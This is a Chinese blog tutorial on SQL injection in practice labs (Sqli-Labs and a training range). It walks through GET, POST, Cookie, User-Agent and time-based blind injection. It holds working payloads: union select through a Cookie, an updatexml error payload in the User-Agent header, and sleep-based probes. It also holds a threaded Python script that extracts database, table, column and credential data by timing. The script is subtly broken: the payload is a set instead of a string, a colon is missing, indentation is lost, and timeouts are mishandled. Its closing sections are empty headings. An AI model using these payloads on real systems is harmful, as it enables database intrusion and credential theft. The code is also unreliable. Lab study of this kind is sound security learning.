提交方式

GET

GET注入就是通过GET传参的方式进行SQL注入。

如:http://www.example.com/?id=1

上一篇博客中的 低权限注入案例 就是典型的GET类型的注入。

POST

POST注入就是通过POST传参的方式进行SQL注入,本质和GET注入是一样的。
以Sqli-Labs的第11关为例,提交完用户名和密码后,可以看到发送的是POST请求。

使用 HackBar 插件,在uname处构造Payload

HTTP Header

Cookie注入就是通过HTTP请求中的Cookie字段进行SQL注入。
例题:https://hack.zkaq.cn/battle/target?id=31ac789a52edf9bb
首先使用 order by 进行测试,判断出当前表有10个字段,然后使用 union select 进行联合查询,提示关键词被过滤。

尝试将测试语句放到Cookie里面,再发送给服务器,因为网页防护一般只拦截GET、POST传参。
先测试Cookie头中的id值能否控制页面的内容。

说明这里的Cookie是可以用来传参的。
注入语句:id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin ,继续猜测是否存在admin表(+号代替空格,不然会出错)

发现页面回显了2、3、7、8、9,接下来的步骤就不说了,跟上一篇一样。

XFF

XFF注入即HTTP头部的X-Forwarded-for参数存在sql注入。
很少有相关的题,墨者靶场有一道但是要钱,这里贴一篇其他博主的博客。
https://www.cnblogs.com/icui4cu/p/15594493.html

UA

UA注入即HTTP头部的User-Agent参数存在sql注入。
以Sqli-Labs第18关为例,输入用户名密码登录后,页面显示UA信息,可以尝试UA注入。

使用 HackBar 插件,在uname处构造Payload
先试试 1',发现页面报错

猜测后台执行的是 INSERT 语句,读取UA之后插入到数据库中,查看源码也印证了这一点:

1
2
3
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

因此需要在Payload构造三个字段的值,然后把后面的部分注释掉。
Payload:

1
1',2,updatexml(1,concat(0x7e,database(),0x7e),0))#

拼接完之后:

1
`INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',2,updatexml(1,concat(0x7e,database(),0x7e),0))#', '$IP', $uname)

这里用到的updatexml是 报错盲注 的形式。

还有其他一些Referer、Host等注入,原理都差不多,不展开讲了。


盲注

盲注就是在执行SQL语句之后,可能由于网站代码的限制或者Apache等解析器的配置,数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称为盲注。

延时盲注

延时盲注又称延时注入,通过页面的响应时间来判断是否存在SQL注入以及数据内容。延时盲注的核心原理是利用数据库中的延时函数或其他能导致执行时间延长的函数。

sleep()

如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟(通过执行时间来判断是否被执行,但是可能会因网速等问题造成参数误差)。

if()

​if(a,b,c),如果a的值为true,则返回b的值,否则则返回c的值。

常用判断

  • 判断数据库长度

    and if((length(database()))=10,sleep(5),1)–+

  • 判断数据库某个字符

    and if(substr(database(),1,1)=’k’,sleep(5),1)–+
    如果过滤了单引号,可以使用ASCII绕过:
    and if(ascii(substr(database(),1,1))=107,sleep(5),1)–+

示例

以Sqli-Labs第9关为例,加上?id=1,不管改成多少页面都没变化,考虑使用盲注。

Payload:

1
?id=1' and if(1=1,sleep(5),1)--+

查看页面响应时间:

看页面的响应时间判断成功执行了sleep(5),存在注入点。

接下来就是猜数据库名、表名、字段名和数据的过程,一个一个手动敲太麻烦了,所以写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import time
import requests
import concurrent.futures

url = 'http://sqli-labs/Less-9/index.php'

DELAY_THRESHOLD = 1.0
MAX_WORKERS = 10
RETRY_COUNT = 2

def check_char_position(url, position, ascii_code, payload_template, retries=RETRY_COUNT):
for _ in range(retries):
payload = {
"1' and if(ascii(substr(%s, %d, 1)) = %d, sleep(%f), 0)-- " % (payload_template, position, ascii_code, DELAY_THRESHOLD)
}
params = {"id": payload}
start_time = time.time()

try:
r = requests.get(url, params=params, timeout=DELAY_THRESHOLD + 1)
except requests.exceptions.Timeout:
return False

end_time = time.time()
if (end_time - start_time) >= DELAY_THRESHOLD:
return True
return False

def find_char_for_position(url, position, payload_template):
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(check_char_position, url, position, ascii_code, payload_template): ascii_code for ascii_code in range(32, 128)}
for future in concurrent.futures.as_completed(futures):
ascii_code = futures[future]
try:
if future.result():
return chr(ascii_code)
except Exception as exc:
print(f"Error guessing character at position {position}: {exc}")
return None

def concurrent_injection(url, payload_template):
name = ''
max_length = 100
for i in range(1, max_length):
char = find_char_for_position(url, i, payload_template)
if char is None:
break
name += char
print(name)
return name

def inject_database(url):
payload_template = "database()"
return concurrent_injection(url, payload_template)

def inject_table(url, database):
payload_template = "(select group_concat(table_name) from information_schema.tables where table_schema='%s')" % database
return concurrent_injection(url, payload_template)

def inject_column(url, database, table):
payload_template = "(select group_concat(column_name) from information_schema.columns where table_name='%s' and table_schema='%s')" % (table, database)
return concurrent_injection(url, payload_template)

def inject_data(url, table, datas)
data = datas.split(',')
payload_template = "(select group_concat(%s) from %s)" % (",".join(data), table)
return concurrent_injection(url, payload_template)

if __name__ == '__main__':
while True:
print('[1] Database Name\n[2] Table Name\n[3] Column Name\n[4] Data\n[5] Exit')
choice = int(input('Enter your choice: '))
if choice == 1:
inject_database(url)
elif choice == 2:
database = input('Enter the database name: ')
inject_table(url, database)
elif choice == 3:
database = input('Enter the database name: ')
table = input('Enter the table name: ')
inject_column(url, database, table)
elif choice == 4:
table = input('Enter the table name: ')
datas = input('Enter the data you want to dump, use comma for separation (like user,passwd): ')
inject_data(url, table, datas)
elif choice == 5:
break
else:
print("Incorrect input!")

布尔盲注

报错盲注